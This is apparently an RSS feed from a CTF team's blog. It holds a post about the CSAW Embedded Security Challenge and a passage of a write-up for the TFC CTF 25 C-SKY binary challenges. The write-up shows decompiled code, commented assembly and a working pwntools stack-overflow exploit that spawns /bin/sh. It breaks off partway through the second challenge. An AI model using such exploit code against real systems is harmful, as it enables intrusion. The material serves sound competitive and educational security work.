<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>Posts on TheRomanXpl0it</title><link>https://theromanxpl0.it/posts/</link><description>Recent content in Posts on TheRomanXpl0it</description><generator>Hugo -- gohugo.io</generator><language>en-us</language><managingEditor>info@theromanxpl0.it (TRX)</managingEditor><webMaster>info@theromanxpl0.it (TRX)</webMaster><copyright>&lt;a href="https://creativecommons.org/licenses/by-nc/4.0/" target="_blank" rel="noopener">CC BY-NC 4.0&lt;/a></copyright><atom:link href="https://theromanxpl0.it/posts/index.xml" rel="self" type="application/rss+xml"/><item><title>CSAW '25 Embedded Security Challenge Report</title><link>https://theromanxpl0.it/posts/2025/11/csaw-25-embedded-security-challenge-report/</link><pubDate>Sun, 16 Nov 2025 15:26:06 +0100</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/11/csaw-25-embedded-security-challenge-report/</guid><description>&lt;style>
.responsive-wrap iframe { max-width: 100%;}
&lt;/style>
&lt;p>We competed in the &lt;a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge&lt;/a> 2025,
and after qualifying for the finals in Valence, we went on to win first place among 7 European teams.&lt;/p>
&lt;p>We have decided to make our setup and challenge solutions open-source.
See our Github &lt;a href="https://github.com/TheRomanXpl0it/CSAW-ESC-2025">repository&lt;/a>.&lt;/p>
&lt;h2 id="theromanxpl0it---qualification-report">TheRomanXpl0it - Qualification report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://theromanxpl0.it/csaw25/CSAW_ESC_2025_Qualification_Report_TRX.pdf" width="100%" height="1080">&lt;/iframe>
&lt;/div>
&lt;h2 id="theromanxpl0it---final-report">TheRomanXpl0it - Final report&lt;/h2>
&lt;div class="responsive-wrap">
&lt;iframe src="https://theromanxpl0.it/csaw25/CSAW_ESC_2025_Final_Report_TRX.pdf" width="100%" height="1080">&lt;/iframe>
&lt;/div></description><content type="html"><![CDATA[<style>
    .responsive-wrap iframe { max-width: 100%;}
</style>
<p>We competed in the <a href="https://www.csaw.io/esc">CSAW Embedded Security Challenge</a> 2025,
and after qualifying for the finals in Valence, we went on to win first place among 7 European teams.</p>
<p>We have decided to make our setup and challenge solutions open-source.
See our Github <a href="https://github.com/TheRomanXpl0it/CSAW-ESC-2025">repository</a>.</p>
<h2 id="theromanxpl0it---qualification-report">TheRomanXpl0it - Qualification report</h2>
<div class="responsive-wrap">
    <iframe src="/csaw25/CSAW_ESC_2025_Qualification_Report_TRX.pdf" width="100%" height="1080"></iframe>
</div>
<h2 id="theromanxpl0it---final-report">TheRomanXpl0it - Final report</h2>
<div class="responsive-wrap">
    <iframe src="/csaw25/CSAW_ESC_2025_Final_Report_TRX.pdf" width="100%" height="1080"></iframe>
</div>
]]></content></item><item><title>TFC CTF 25 - Cromozominus Rex</title><link>https://theromanxpl0.it/posts/2025/09/tfc-ctf-25-cromozominus-rex/</link><pubDate>Tue, 02 Sep 2025 11:56:22 +0200</pubDate><author>info@theromanxpl0.it (TRX)</author><guid>https://theromanxpl0.it/posts/2025/09/tfc-ctf-25-cromozominus-rex/</guid><description>&lt;p>&lt;img src="https://theromanxpl0.it/tfcctf25/cromo/card.png" alt="card">&lt;/p>
&lt;br>
&lt;p>This challenge was the followup of &lt;strong>Mucusuki&lt;/strong>,
with only an additional check on the payload.&lt;br>
Since the programs are 99% identical, let&amp;rsquo;s start by analyzing the first one.&lt;/p>
&lt;h2 id="mucusuki">Mucusuki&lt;/h2>
&lt;p>In the attachments we find two binaries: &lt;code>mucusuki&lt;/code> and &lt;code>qemu&lt;/code>.
There&amp;rsquo;s also a Dockerfile, which will be invaluable for the debugging step later.&lt;/p>
&lt;p>As you might have imagined due to qemu, this is not the usual x86 binary.
Let&amp;rsquo;s see:&lt;/p></description><content type="html"><![CDATA[<p><img src="/tfcctf25/cromo/card.png" alt="card"></p>
<br>
<p>This challenge was the followup of <strong>Mucusuki</strong>,
with only an additional check on the payload.<br>
Since the programs are 99% identical, let&rsquo;s start by analyzing the first one.</p>
<h2 id="mucusuki">Mucusuki</h2>
<p>In the attachments we find two binaries: <code>mucusuki</code> and <code>qemu</code>.
There&rsquo;s also a Dockerfile, which will be invaluable for the debugging step later.</p>
<p>As you might have imagined due to qemu, this is not the usual x86 binary.
Let&rsquo;s see:</p>
<pre tabindex="0"><code>ELF 32-bit LSB executable, C-SKY processor family, version 1 (SYSV), statically linked, stripped
</code></pre><p><a href="https://c-sky.github.io/">C-SKY</a> is a 32-bit chinese ISA based on RISC-V.
But other than that, the challenge is a Linux userland program.</p>
<p>Unfortunately Ida did not support the C-SKY architecture, so we used ghidra with a <a href="https://github.com/leommxj/ghidra_csky">plugin</a>.<br>
Here are a few excerpts of the decompiled code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>undefined4 <span style="color:#41a1c0">entry</span>(<span style="color:#fc5fa3">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  undefined4 uVar1;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">get_input</span>();
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">puts</span>(<span style="color:#fc6a5d">&#34;Goodbye!</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>);
</span></span><span style="display:flex;"><span>  uVar1 = <span style="color:#41a1c0">exit</span>(<span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> uVar1;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>undefined4 <span style="color:#41a1c0">get_input</span>(<span style="color:#fc5fa3">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  undefined4 uVar1;
</span></span><span style="display:flex;"><span>  undefined auStack_6c [<span style="color:#d0bf69">100</span>];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">write</span>(<span style="color:#d0bf69">1</span>,<span style="color:#fc6a5d">&#34;Give me something to read:</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>,<span style="color:#d0bf69">0x1b</span>);
</span></span><span style="display:flex;"><span>  uVar1 = <span style="color:#41a1c0">read</span>(<span style="color:#d0bf69">0</span>,auStack_6c,<span style="color:#d0bf69">0x100</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> uVar1;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>We can see that the stack buffer is <code>100</code> bytes, but the program reads <code>0x100</code>.
A classic stack buffer overflow.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>undefined4 <span style="color:#41a1c0">syscall</span>(undefined4 param_1,undefined4 param_2)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">trap_exception</span>(<span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">return</span> param_2;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This function will come in handy later.
For now, know that system calls are triggered with <code>trap 0</code> in C-SKY.</p>
<p>Well, we found the buffer overflow.
But before we start ropping, a closer look at this architecture is in order.</p>
<h3 id="c-sky-101">C-SKY 101</h3>
<p>There are a lot of registers, but we care only about a handful:</p>
<table>
  <thead>
      <tr>
          <th>Register</th>
          <th>Usage</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><code>r0</code></td>
          <td>First argument (&amp; return value)</td>
      </tr>
      <tr>
          <td><code>r1</code></td>
          <td>Second argument</td>
      </tr>
      <tr>
          <td><code>r2</code></td>
          <td>Third argument</td>
      </tr>
      <tr>
          <td><code>r3</code></td>
          <td>Fourth argument</td>
      </tr>
      <tr>
          <td><code>r7</code></td>
          <td>Syscall number</td>
      </tr>
      <tr>
          <td><code>r8</code></td>
          <td>Base pointer</td>
      </tr>
      <tr>
          <td><code>r14</code></td>
          <td>Stack pointer</td>
      </tr>
      <tr>
          <td><code>r15</code></td>
          <td>Link register (return address)</td>
      </tr>
  </tbody>
</table>
<p>The return instruction on C-SKY (<code>rts</code>) does not pop
the address from the stack, but jumps on the link register.<br>
So we need to find gadgets that pop to <code>r15</code> for the ROP chain.</p>
<p>Another important fact: the stack is not randomized.
Every program execution has the same stack addresses (around <code>0x3ffff000</code>).
I did find a slight address discrepancy when running on Docker though.</p>
<blockquote>
<p>Note that in both challenges the stack is executable.<br>
I had already started with the ROP route, but you
could flag mucusuki by jumping to shellcode in the buffer.</p></blockquote>
<h3 id="the-syscall-gadget">The syscall gadget</h3>
<p>While the decompiled code is useful to get an overview of the program,
to ROP we need to get to the assembly.
Since my objdump did not support C-SKY, I just disassembled from gdb.</p>
<p>To help you understand the assembly I commented the instructions a bit:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">// get_input
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8150:	<span style="color:#41a1c0">subi</span>      	r14, r14, <span style="color:#d0bf69">8</span>            <span style="color:#6c7986">// alloc 8 bytes in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8152:	<span style="color:#41a1c0">st.w</span>      	r15, (r14, <span style="color:#d0bf69">0x4</span>)        <span style="color:#6c7986">// store link (retptr) in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8156:	<span style="color:#41a1c0">st.w</span>      	r8, (r14, <span style="color:#d0bf69">0x0</span>)         <span style="color:#6c7986">// store base in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x815a:	<span style="color:#41a1c0">mov</span>      	r8, r14                <span style="color:#6c7986">// rbp &lt;- rsp
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x815c:	<span style="color:#41a1c0">subi</span>      	r14, r14, <span style="color:#d0bf69">100</span>          <span style="color:#6c7986">// alloc 100 bytes in stack (buf)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x815e:	<span style="color:#41a1c0">movi</span>      	r2, <span style="color:#d0bf69">27</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8160:	<span style="color:#41a1c0">lrw</span>      	r1, <span style="color:#d0bf69">0x8424</span>	<span style="color:#6c7986">// 0x8198  // string addr
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8162:	<span style="color:#41a1c0">movi</span>      	r0, <span style="color:#d0bf69">1</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8164:	<span style="color:#41a1c0">bsr</span>      	<span style="color:#d0bf69">0x82dc</span>	<span style="color:#6c7986">// 0x82dc      // call write
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8168:	<span style="color:#41a1c0">lsli</span>      	r0, r0, <span style="color:#d0bf69">0</span>              <span style="color:#6c7986">// nop
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x816c:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">100</span>            <span style="color:#6c7986">// buf addr (relative to base)
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8170:	<span style="color:#41a1c0">movi</span>      	r2, <span style="color:#d0bf69">128</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8172:	<span style="color:#41a1c0">lsli</span>      	r2, r2, <span style="color:#d0bf69">1</span>              <span style="color:#6c7986">// 128 &lt;&lt; 1 = 0x100
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8174:	<span style="color:#41a1c0">mov</span>      	r1, r3
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8176:	<span style="color:#41a1c0">movi</span>      	r0, <span style="color:#d0bf69">0</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8178:	<span style="color:#41a1c0">bsr</span>      	<span style="color:#d0bf69">0x828c</span>	<span style="color:#6c7986">// 0x828c      // call read
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x817c:	<span style="color:#41a1c0">lsli</span>      	r0, r0, <span style="color:#d0bf69">0</span>              <span style="color:#6c7986">// nop
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8180:	<span style="color:#41a1c0">mov</span>      	r0, r0
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8182:	<span style="color:#41a1c0">mov</span>      	r14, r8                <span style="color:#6c7986">// restore base stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8184:	<span style="color:#41a1c0">ld.w</span>      	r15, (r14, <span style="color:#d0bf69">0x4</span>)        <span style="color:#6c7986">// load old link reg
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8188:	<span style="color:#41a1c0">ld.w</span>      	r8, (r14, <span style="color:#d0bf69">0x0</span>)         <span style="color:#6c7986">// load old base reg
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x818c:	<span style="color:#41a1c0">addi</span>      	r14, r14, <span style="color:#d0bf69">8</span>            <span style="color:#6c7986">// dealloc 8 bytes
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x818e:	<span style="color:#41a1c0">rts</span>                                <span style="color:#6c7986">// return (r15 addr)
</span></span></span></code></pre></div><p>Now that you&rsquo;ve got the gist of it, let&rsquo;s see the <code>syscall</code> function:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-asm" data-lang="asm"><span style="display:flex;"><span><span style="color:#6c7986">// syscall
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8208:	<span style="color:#41a1c0">subi</span>      	r14, r14, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x820a:	<span style="color:#41a1c0">st.w</span>      	r8, (r14, <span style="color:#d0bf69">0x4</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x820e:	<span style="color:#41a1c0">st.w</span>      	r7, (r14, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8210:	<span style="color:#41a1c0">mov</span>      	r8, r14
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8212:	<span style="color:#41a1c0">subi</span>      	r14, r14, <span style="color:#d0bf69">16</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8214:	<span style="color:#41a1c0">subi</span>      	r12, r8, <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8218:	<span style="color:#41a1c0">st.w</span>      	r0, (r12, <span style="color:#d0bf69">0x0</span>)  <span style="color:#6c7986">// store r0 (sysnr) in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x821c:	<span style="color:#41a1c0">subi</span>      	r0, r8, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8220:	<span style="color:#41a1c0">st.w</span>      	r1, (r0, <span style="color:#d0bf69">0x0</span>)   <span style="color:#6c7986">// store r1 (arg1) in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8222:	<span style="color:#41a1c0">subi</span>      	r1, r8, <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8226:	<span style="color:#41a1c0">st.w</span>      	r2, (r1, <span style="color:#d0bf69">0x0</span>)   <span style="color:#6c7986">// store r2 (arg2) in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8228:	<span style="color:#41a1c0">subi</span>      	r2, r8, <span style="color:#d0bf69">16</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x822c:	<span style="color:#41a1c0">st.w</span>      	r3, (r2, <span style="color:#d0bf69">0x0</span>)   <span style="color:#6c7986">// store r3 (arg3) in stack
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x822e:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8232:	<span style="color:#41a1c0">ld.w</span>      	r0, (r3, <span style="color:#d0bf69">0x0</span>)   <span style="color:#6c7986">// load r8-8 (arg1) to r0
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8234:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">12</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8238:	<span style="color:#41a1c0">ld.w</span>      	r1, (r3, <span style="color:#d0bf69">0x0</span>)   <span style="color:#6c7986">// load r8-12 (arg2) to r1
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x823a:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">16</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x823e:	<span style="color:#41a1c0">ld.w</span>      	r2, (r3, <span style="color:#d0bf69">0x0</span>)   <span style="color:#6c7986">// load r8-16 (arg3) to r2
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8240:	<span style="color:#41a1c0">subi</span>      	r3, r8, <span style="color:#d0bf69">4</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8244:	<span style="color:#41a1c0">ld.w</span>      	r12, (r3, <span style="color:#d0bf69">0x0</span>)  <span style="color:#6c7986">// load r8-4 (sysnr) to r12
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8248:	<span style="color:#41a1c0">andi</span>      	r3, r12, <span style="color:#d0bf69">255</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x824c:	<span style="color:#41a1c0">subi</span>      	r3, <span style="color:#d0bf69">21</span>          <span style="color:#6c7986">// sub 21 from the sysnr
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x824e:	<span style="color:#41a1c0">mov</span>      	r7, r3          <span style="color:#6c7986">// move sysnr to r7
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8250:	<span style="color:#41a1c0">trap</span>      	<span style="color:#d0bf69">0</span>               <span style="color:#6c7986">// exec syscall
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#960050">0</span>x8254:	<span style="color:#41a1c0">mov</span>      	r3, r0
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8256:	<span style="color:#41a1c0">mov</span>      	r0, r3
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8258:	<span style="color:#41a1c0">mov</span>      	r14, r8
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x825a:	<span style="color:#41a1c0">ld.w</span>      	r8, (r14, <span style="color:#d0bf69">0x4</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x825e:	<span style="color:#41a1c0">ld.w</span>      	r7, (r14, <span style="color:#d0bf69">0x0</span>)
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8260:	<span style="color:#41a1c0">addi</span>      	r14, r14, <span style="color:#d0bf69">8</span>
</span></span><span style="display:flex;"><span><span style="color:#960050">0</span>x8262:	<span style="color:#41a1c0">rts</span>
</span></span></code></pre></div><p>As we can see this function does a bit more than what ghidra decompiled.
Let&rsquo;s rewrite it in pseudo code:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>undefined <span style="color:#41a1c0">syscall</span>(sysnr, arg1, arg2, arg3)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">int</span> tmp[<span style="color:#d0bf69">4</span>];   <span style="color:#6c7986">// r8-4
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span>    tmp[<span style="color:#d0bf69">0</span>] = sysnr;
</span></span><span style="display:flex;"><span>    tmp[<span style="color:#d0bf69">1</span>] = arg1;
</span></span><span style="display:flex;"><span>    tmp[<span style="color:#d0bf69">2</span>] = arg2;
</span></span><span style="display:flex;"><span>    tmp[<span style="color:#d0bf69">3</span>] = arg3;
</span></span><span style="display:flex;"><span>    r0 = tmp[<span style="color:#d0bf69">1</span>];
</span></span><span style="display:flex;"><span>    r1 = tmp[<span style="color:#d0bf69">2</span>];
</span></span><span style="display:flex;"><span>    r3 = tmp[<span style="color:#d0bf69">3</span>];
</span></span><span style="display:flex;"><span>    r7 = (tmp[<span style="color:#d0bf69">0</span>] &amp; <span style="color:#d0bf69">255</span>) - <span style="color:#d0bf69">21</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#41a1c0">trap_exception</span>(<span style="color:#d0bf69">0</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>To swap the registers appropriately for the syscall calling convention, they are stored and loaded from the stack.<br>
Thus, we can store the register values that we want in the stack and jump in the middle of the function.</p>
<p>Also, note how <code>21</code> is subtracted from the syscall number (<code>r7</code>) after it was masked by <code>255</code>.</p>
<h3 id="the-exploit">The exploit</h3>
<p>With gdb we can figure out the fixed stack position of the input buffer.
The simplest way is adding a breakpoint to the <code>read</code> call and printing the registers:</p>
<p><img src="/tfcctf25/cromo/gdb1.png" alt="gdb1"></p>
<p>I found <a href="https://gpages.juszkiewicz.com.pl/syscalls-table/syscalls.html">here</a>
that the syscall number for <code>execve</code> is <code>221</code> on C-SKY.</p>
<p>Since we can overwrite the stack base pointer, we can pivot the stack to an offset within our injected data.<br>
The following payload calls <code>syscall(221+21, &quot;/bin/sh&quot;, 0, 0)</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-py" data-lang="py"><span style="display:flex;"><span><span style="color:#fc5fa3">def</span> <span style="color:#41a1c0">main</span>():
</span></span><span style="display:flex;"><span>    r = conn()
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># r8-16 : r2  -&gt; arg2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># r8-12 : r1  -&gt; arg1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># r8-8  : r0  -&gt; arg0</span>
</span></span><span style="display:flex;"><span>    <span style="color:#6c7986"># r8-4  : r12 -&gt; syscall_no+21</span>
</span></span><span style="display:flex;"><span>    stack = <span style="color:#d0bf69">0x3ffffecc</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    payload = fit({
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">0</span>: p32(<span style="color:#d0bf69">0</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">4</span>: p32(<span style="color:#d0bf69">0</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">8</span>: p32(stack+<span style="color:#d0bf69">32</span>),
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">12</span>: p32(<span style="color:#d0bf69">221</span>+<span style="color:#d0bf69">21</span>), <span style="color:#6c7986">#execve</span>
</span></span><span style="display:flex;"><span>        <span style="color:#d0bf69">32</span>: <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;/bin/sh</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#34;</span>,
</span></span><span style="display:flex;"><span>    })
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    payload = payload.ljust(<span style="color:#d0bf69">100</span>, <span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#39;</span><span style="color:#fc6a5d">\0</span><span style="color:#fc6a5d">&#39;</span>)
</span></span><span style="display:flex;"><span>    payload += p32(stack+<span style="color:#d0bf69">16</span>)  <span style="color:#6c7986"># set stack</span>
</span></span><span style="display:flex;"><span>    payload += p32(<span style="color:#d0bf69">0x822e</span>)    <span style="color:#6c7986"># set retptr</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    r.sendlineafter(<span style="color:#fc6a5d">b</span><span style="color:#fc6a5d">&#34;read:&#34;</span>, payload)
</span></span><span style="display:flex;"><span>    r.interactive()
</span></span></code></pre></div><p>Finally we can get that flag:</p>
<pre tabindex="0"><code>TFCCTF{t0_beat_mcsky_y0u_had_to_csky_now_go_after_cromozominus}
</code></pre><p>Let&rsquo;s follow this advice and move on to cromozominus.</p>
<h2 id="cromozominus-rex">Cromozominus Rex</h2>
<p>Similarly to before, we get the <code>crorex</code> and <code>qemu</code> binaries.</p>
<p>The program is the same, except for the <code>get_input</code> function.<br>
A huge if statement was added to check if disallowed bytes were present in the buffer.
If they are found, the function calls exit instead of returning,
skipping our ROP chain.</p>
<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#1f1f24;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#6c7986">// get_input @ 0x00823c
</span></span></span><span style="display:flex;"><span><span style="color:#6c7986"></span><span style="color:#fc5fa3">void</span> <span style="color:#41a1c0">get_input</span>(<span style="color:#fc5fa3">void</span>)
</span></span><span style="display:flex;"><span>{
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> len;
</span></span><span style="display:flex;"><span>  byte buffer[<span style="color:#d0bf69">100</span>];
</span></span><span style="display:flex;"><span>  uint c;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> max_loop;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">int</span> idx;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#41a1c0">write</span>(<span style="color:#d0bf69">1</span>,<span style="color:#fc6a5d">&#34;Give me something to read:</span><span style="color:#fc6a5d">\n</span><span style="color:#fc6a5d">&#34;</span>,<span style="color:#d0bf69">0x1b</span>);
</span></span><span style="display:flex;"><span>  len = <span style="color:#41a1c0">read</span>(<span style="color:#d0bf69">0</span>,buffer,<span style="color:#d0bf69">0x100</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  max_loop = len;
</span></span><span style="display:flex;"><span>  <span style="color:#fc5fa3">for</span> (idx = <span style="color:#d0bf69">0</span>; idx &lt; max_loop; idx = idx + <span style="color:#d0bf69">1</span>) {
</span></span><span style="display:flex;"><span>    c = (uint)buffer[idx];
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#fc5fa3">if</span> (((((((((c == <span style="color:#d0bf69">1</span>) || (c == <span style="color:#d0bf69">2</span>)) || (c == <span style="color:#d0bf69">3</span>)) ||
</span></span><span style="display:flex;"><span>            ((c == <span style="color:#d0bf69">6</span> || (c == <span style="color:#d0bf69">7</span>)))) ||
</span></span><span style="display:flex;"><span>           ((((((c == <span style="color:#d0bf69">9</span> || ((c == <span style="color:#d0bf69">10</span> || (c == <span style="color:#d0bf69">0xb</span>)))) || (c == <span style="color:#d0bf69">0xd</span>)) ||
</span></span><span style="display:flex;"><span>              ((((c == <span style="color:#d0bf69">0xe</span> || (c == <span style="color:#d0bf69">0xf</span>)) || (c == <span style="color:#d0bf69">0x11</span>)) ||
</span></span><span style="display:flex;"><span>               (((c == <span style="color:#d0bf69">4</span> || (c == <span style="color:#d0bf69">0x13</span>)) ||
</span></span><span style="display:flex;"><span>                ((c == <span style="color:#d0bf69">0x14</span> || ((c == <span style="color:#d0bf69">0x15</span> || (c == <span style="color:#d0bf69">0x16</span>)))))))))) ||
</span></span><span style="display:flex;"><span>             (((c == <span style="color:#d0bf69">0x1d</span> ||
</span></span><span style="display:flex;"><span>               ((((c == <span style="color:#d0bf69">0x1e</span> || (c == <span style="color:#d0bf69">0x1f</span>)) || (c == <span style="color:#d0bf69">0x20</span>)) ||
</span></span><span style="display:flex;"><span>                ((c == <span style="color:#d0bf69">0x21</span> || (c == <span style="color:#d0bf69">0x22</span>)))))) ||
</span></span><span style="display:flex;"><span>              ((c == <span style="color:#d0bf69">0x23</span> || ((c == <span style="color:#d0bf69">0x2a</span> || (c == <span style="color:#d0bf69">0x2b</span>)))))))) ||
</span></span><span style="display:flex;"><span>            (c == <span style="color:#d0bf69">0x2d</span>)))) ||
</span></span><span style="display:flex;"><span>          ((((((((c == <span style="color:#d0bf69">0x30</span> || (c == <span style="color:#d0bf69">0x31</span>)) || (c == <span style="color:#d0bf69">0x32</span>)) ||
</span></span><span style="display:flex;"><span>               ((c == <span style="color:#d0bf69">0x34</span> || (c == <span style="color:#d0bf69">0x3a</span>)))) || (c == <span style="color:#d0bf69">0x3b</span>)) ||
